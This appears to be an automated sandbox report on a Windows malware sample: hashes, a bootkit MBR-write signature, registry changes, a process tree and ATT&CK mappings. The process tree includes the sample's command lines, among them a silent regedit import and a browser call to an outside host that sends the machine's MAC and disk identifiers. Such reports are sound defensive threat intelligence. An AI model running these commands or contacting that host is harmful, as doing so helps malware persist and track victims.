eb046e06154fee919638727f5d53ee724da02a9db31a14fc6db9d917de208de4

General

Target

fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe
Size

60KB
MD5

fc239744bad8d8efbe1ff2db4efc21bd
SHA1

6ebecbe46a6deb33c113a3e90a5e853b264d730b
SHA256

eb046e06154fee919638727f5d53ee724da02a9db31a14fc6db9d917de208de4
SHA512

166805c0e462589797e6ad6fe0b69a9cf437a2c1051a93537d5ecfc1cf493b7156e6d65b2ebe1d2eef523f2a2fa5677a8d9bef2b79ecd39da2b78eae9ab40286
SSDEEP

768:VcYzYhaPMn84kg57lCeq1wonniiJMbO163IAVzP4/qn6MIMJy5rd/D:S0YhaPMaolChf12IAZP6qnet5rd7

Score

6^/10

bootkit persistence

Malware Config

Signatures

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe

description ioc process

File opened for modification \??\PhysicalDrive0 fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 13 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{6BDA484E-FEDF-11EE-B44A-42F8DC9EC7DB} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies registry class 14 IoCs

Processes:

regedit.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]"	regedit.exe

Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

3428 regedit.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe

pid process

228 fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe
228 fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

3556 iexplore.exe

pid	process
3428	regedit.exe

pid	process
3556	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exeiexplore.exeIEXPLORE.EXE

pid	process
228	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe
3556	iexplore.exe
3556	iexplore.exe
3060	IEXPLORE.EXE
3060	IEXPLORE.EXE
3060	IEXPLORE.EXE
3060	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.execmd.exeiexplore.exe

description	pid	process	target process
PID 228 wrote to memory of 1804	228	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe	cmd.exe
PID 228 wrote to memory of 1804	228	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe	cmd.exe
PID 228 wrote to memory of 1804	228	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe	cmd.exe
PID 228 wrote to memory of 3556	228	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe	iexplore.exe
PID 228 wrote to memory of 3556	228	fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe	iexplore.exe
PID 1804 wrote to memory of 3428	1804	cmd.exe	regedit.exe
PID 1804 wrote to memory of 3428	1804	cmd.exe	regedit.exe
PID 1804 wrote to memory of 3428	1804	cmd.exe	regedit.exe
PID 3556 wrote to memory of 3060	3556	iexplore.exe	IEXPLORE.EXE
PID 3556 wrote to memory of 3060	3556	iexplore.exe	IEXPLORE.EXE
PID 3556 wrote to memory of 3060	3556	iexplore.exe	IEXPLORE.EXE

C:\Users\Admin\AppData\Local\Temp\fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\fc239744bad8d8efbe1ff2db4efc21bd_JaffaCakes118.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:228

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
2⤵
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\SysWOW64\regedit.exe
regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
3⤵
- Modifies registry class
- Runs .reg file with regedit
PID:3428

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=42F8DC9EC7DB&Hard=DD00013&ClientType=Home&Process=91&UserID=0040&Authen=841-443
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3556

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3556 CREDAT:17410 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3060

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Privilege Escalation

Defense Evasion

Pre-OS Boot

1

T1542

Bootkit

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\getback.reg
Filesize
1KB

MD5
626e2d76f5c328d57a3eff6a7f94d129

SHA1
210fd33fa005775b30a8fd40a065a2e788934216

SHA256
5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e

SHA512
629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

Download Submit
memory/228-0-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/228-13-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads